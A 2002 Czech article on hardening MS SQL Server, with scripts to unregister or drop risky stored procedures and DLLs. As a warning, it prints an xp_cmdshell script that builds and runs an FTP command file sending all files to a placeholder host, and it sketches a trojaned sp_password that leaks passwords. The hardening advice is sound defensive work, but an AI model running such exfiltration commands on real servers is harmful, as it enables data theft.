Zabezpečení MS SQL serveru – uložené procedury

8. srpna 2002

Pokud jste se pustili do kontroly zabezpečení svého MS SQL serveru s pomocí příspěvků Jana Žáčka, můžete dnes vše dokončit. Končí tak popis toho nejnutnějšího, co byste pro bezpečnost serveru mohli udělat. V diskusi pak můžete sami ovlivnit, kudy půjde cesta dalších příspěvků.

Uložené procedury jsou jednou z nejkomplexnějších a nejnebezpečnějších oblastí MS SQL serveru. Vestavěné uložené procedury, ale i ty uživatelské, mohou provádět libovolné administrativní úkony, měnit nastavení, upravovat oprávnění, ale zároveň ovládat pokročilé funkčnosti jako DTS, SQLMail nebo přístup do registry. Už z toho je možné odtušit možný rozsah katastrofy, kdyby došlo ke zneužití uložených procedur.

Kromě rozdělení procedur na normální a rozšířené, které jsou kompletně založeny na kompilovaných DLL knihovnách, lze navíc rozlišit procedury dokumentované – popsané v dokumentaci – a nedokumentované – které jsou většinou využívány pro vlastní běh SQL serveru a administrátor by se jim měl vyhnout, aby instalaci serveru nevhodným zásahem nepoškodil. Nemusím asi zdůrazňovat, že mezi nedokumentovanými procedurami lze nalézt velmi užitečné procedury, které je možné a vhodné používat, příklady by vydaly na dalších několik článků.

Výhodou normálních uložených procedur je možnost podívat se přímo na zdrojový kód procedury, takže i u nezdokumentovaných procedur snadno zjistíte její funkčnost, parametry a potenciální nebezpečnost. Rozšířené uložené procedury lze odregistrovat, zrušit tak možnost jejich používání, ale je nutné odstranit z disku i vlastní DLL knihovnu, aby útočník nemohl proceduru znovu obnovit.

Identifikovat DLL knihovnu, kterou procedura využívá, můžete třemi způsoby:

1. zobrazením vlastností v Enterprise Manageru

2. pomocí dotazu:

SELECT sysobjects.name, syscomments.text
FROM syscomments, sysobjects
WHERE syscomments.id = sysobjects.id and sysobjects.name = ‚xp_cmdshell‘

3. pomocí rozšířené uložené procedury:

USE master
EXEC sp_helpextendedproc xp_cmdshell
GO

Když už jste zjistili, kterou knihovnu se chystáte smazat, přesvědčte se, které další uložené procedury tuto knihovnu používají:

SELECT sysobjects.name,syscomments.text
FROM syscomments, sysobjects
WHERE syscomments.id = sysobjects.id and syscomments.text = ‚xplog70.dll‘

Jak vidíte ve výsledcích dotazu, knihovnu v tomto případě používá 7 rozšířených uložených procedur, které je třeba odregistrovat společně a teprve potom odstranit příslušnou zdrojovou knihovnu. Procedury je možné odregistrovat selektivně, vystavujete se tak ale riziku obnovení odstraněné procedury.

Pro odregistrování uložené procedury se používá také uložená proceduru. I tuto proceduru můžete po provedení všech úkonů odstranit:

USE master
GO
EXEC sp_dropextendedproc ‚xp_cmdshell‘
EXEC sp_dropextendedproc ‚xp_logevent‘
EXEC sp_dropextendedproc ‚xp_sprintf‘
EXEC sp_dropextendedproc ‚xp_sscanf‘
EXEC sp_dropextendedproc ‚xp_msver‘
EXEC sp_dropextendedproc ‚xp_enumgroups‘
EXEC sp_dropextendedproc ‚xp_loginconfig‘
GO

Poté smažte nebo přesuňte na záložní médium soubor xplog70.dll, který je standardně uložen v adresáři BINN v instalačním adresáři SQL serveru. Pozor, aplikace service packu některé DLL knihovny obnovuje, zkontrolujte po aktualizaci instalace, že je vše tak, jak jste nastavili.

Doporučuji vám odregistrování procedur provádět SQL skriptem, aby bylo co nejsnazší celou operaci vrátit. Nikdy nevíte, kdy můžete danou funkčnost znovu potřebovat, a manuální zjišťování je velmi složité. Pro opětovnou registraci rozšířené uložené procedury můžete použít skript:

USE master
EXEC sp_addextendedproc xp_cmdshell, ‚xplog70.dll‘
GO

Nejnebezpečnější uložené procedury

xp_cmdshell – tato uložená procedura je nejnebezpečnější zbraní proti vašemu serveru. Tím, že umožňuje spouštět libovolný příkaz operačního systému, může útočník napáchat nenapravitelné škody. Příkazy operačního systému není třeba připomínat, všichni pamatujeme staré dobré příkazy DOS (format, del, mkdir), příkazy FTP klienta (PUT, GET, DEL) nebo příkazy pro práci se sítí (NET). Příkladem může být nenápadný SQL skript:

USE master
GO
EXEC xp_cmdshell ‚echo open xxx.xxx.xxx.xxx > c:ftp.cmd‘
EXEC xp_cmdshell ‚echo user yyy >> c:ftp.cmd‘
EXEC xp_cmdshell ‚echo pass zzz >> c:ftp.cmd‘
EXEC xp_cmdshell ‚echo mput *.* >> c:ftp.cmd‘
EXEC xp_cmdshell ‚echo mget *.* >> c:ftp.cmd‘
EXEC xp_cmdshell ‚echo bye >> c:ftp.cmd‘
EXEC xp_cmdshell ‚ftp -s c:ftp.cmd -i‘
GO

Uložená procedura xp_cmdshell je vykonávána v bezpečnostním kontextu služby určené pro běh SQL serveru, nebezpečný vliv procedury je tedy možné omezit restrikcí oprávnění pro tento účet, navíc tuto proceduru mohou spouštět uživatelé s rolí sysadmin. Není reálné, že by tato procedura byla používána nějakou aplikací a je možné ji z vývojového i z produkčního serveru odstranit. Vřele doporučuji!!! Všechny wormy, všichni hackeři a všichni záškodníci přijdou o hlavní zbraň. Stejně tak si dejte pozor, abyste v nově vytvářených aplikacích a skriptech tuto uloženou proceduru nepoužívali. Nejčastějším případem použití jsou pravidelně spouštěné dávky a DTS balíčky. V případě potřeby této funkčnosti pro vykonávání specifických administračních úkonů vám doporučuji napsat si jednoduchý program, který tuto funkčnost poskytne a odstíní další možné příkazy operačního systému.

Uložené procedury pro manipulaci s registry – díky důležitosti registry je nutné zajistit, aby případný útok nemohl ohrozit nebo upravit aktuální nastavení serveru. Bohužel, některé z těchto uložených procedur (například xp_regread a xp_regwrite) jsou nutné pro správnou funkčnost serveru (log truncate, service packy), takže je nelze odregistrovat a odstranit DLL knihovnu xpstar.dll. Můžete alespoň omezit nabídku:

USE master
GO
EXEC sp_dropextendedproc ‚xp_regaddmultistring‘
EXEC sp_dropextendedproc ‚xp_regdeletekey‘
EXEC sp_dropextendedproc ‚xp_regdeletevalue‘
EXEC sp_dropextendedproc ‚xp_regenumvalues‘
EXEC sp_dropextendedproc ‚xp_regremovemultistring‘
GO

OLE Automation – dalším potenciálním nebezpečím jsou procedury, zajišťující manipulaci se serverovými objekty, které je možné zneužít. Tyto uložené procedury využívají funkčnost poskytovanou knihovnou odsole70.dll. Zásahem do nich bohužel omezíte funkčnost Enterprise Manageru, proto doporučuji nejdříve vyzkoušet na testovacím nebo vývojovém serveru:

USE master
GO
EXEC sp_dropextendedproc ‚sp_OACreate‘
EXEC sp_dropextendedproc ‚sp_OADestroy‘
EXEC sp_dropextendedproc ‚sp_OAGetErrorInfo‘
EXEC sp_dropextendedproc ‚sp_OAGetProperty‘
EXEC sp_dropextendedproc ‚sp_OAMethod‘
EXEC sp_dropextendedproc ‚sp_OASetProperty‘
EXEC sp_dropextendedproc ‚sp_OAStop‘
GO

SQL Mail – další potenciálně nebezpečná oblast, pomocí které může útočník odesílat výsledky dotazů, hesla nebo přijímat další příkazy. Jelikož se ale jedná o nejkomplikovanější funkčnost SQL serveru (pozn. aut.: údajně největší množství supportních zásahů Microsoftu se týká SQL mailu), která navíc vyžaduje instalaci MS Exchange Serveru, není v mnoha případech použita a nepředstavuje tak výrazné nebezpečí. Pakliže je tato funkcionalita reálně využívána, před odstraněním doporučuji ověřit, že nenarušíte chod nějaké aplikace:

USE master
GO
DROP PROCEDURE ‚sp_processmail‘
DROP PROCEDURE ‚xp_deletemail‘
DROP PROCEDURE ‚xp_findnextmsg‘
DROP PROCEDURE ‚xp_readmail‘
DROP PROCEDURE ‚xp_sendmail‘
DROP PROCEDURE ‚xp_startmail‘
DROP PROCEDURE ‚xp_stopmail‘
GO

DTS balíčky – u produkčního serveru jsou většinou DTS služby nastaveny, jejich omezením bychom tedy neměli narušit vlastní funkčnost serveru a získáme tak jistotu, že případný útočník nemůže opakovaně stahovat data z našich databází:

USE msdb
GO
DROP PROCEDURE ‚sp_add_dtspackage‘
DROP PROCEDURE ‚sp_enum_dtspackages‘
DROP PROCEDURE ‚sp_add_job‘
DROP PROCEDURE ‚sp_add_jobstep‘
GO

Poznámka: Všechny SQL skripty použité v tomto článku nabízím ke stažení.

Další uložené procedury doporučované k odstranění – je otázkou jestli chcete tyto procedury úplně odstranit, nebo jen kombinací rolí a oprávnění zpřístupnit jejich spouštění pouze omezenému okruhu uživatelů. Seznam uložených procedur obecně doporučovaných k odstranění:

sp_sdidebug
xp_availablemedia
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumqueuedtasks
xp_eventlog
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logininfo
xp_makewebtask
xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_subdirs
xp_unc_to_drive

Meta Data Services a merge replikace – certifikace zabezpečení C2 vyžaduje navíc odstranění tabulek a uložených procedur souvisejících s Meta Data Services a merge replikací, které nejsou v této bezpečnostní konfiguraci podporovány. Tento seznam procedur nebudu uvádět, jedná se o 340 procedur, které jsou uvedeny v dokumentaci SQL serveru.

Trojské koně

Kromě odstranění nepotřebných a nebezpečných procedur je nutné u vybraných procedur monitorovat možnou modifikaci systémových uložených procedur. Po zrušení a opětovném vytvoření procedury s trojanským SQL skriptem, SQL server nerozliší mezi původní a novou verzí, ačkoli kód už může obsahovat úplně jiné pokyny. Uložená procedura sp_password je například volána při každé změně hesla. SQL skript není šifrován, můžete se na vlastní oči přesvědčit, co procedura dělá. Co kdyby ale před tím, než procedura heslo zašifruje a uloží do tabulky, přidal útočník do procedury kód, který by nové heslo společně s loginem uložil do souboru nebo odeslal elektronickou poštou? Určitě by vás napadly i další možnosti, jak se dostat za hradby Tróji bez dobývání.

Ve čtyřech článcích jsem nastínil základní zabezpečení vašeho SQL serveru. Pochopitelně existuje řada dalších témat, kterým se můžeme dále věnovat, jako šifrování, certifikáty, certifikace C2 nebo pokročilé nastavení oprávnění. Na konci této základní série máte možnost v diskusi pod článkem určit směr dalších článků. Těším se na vaše připomínky a návrhy.

Předchozí článek Flash MX a formuláře 1.
Další článek Zoner.cz
Štítky: Články

Mohlo by vás také zajímat

Nejnovější

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *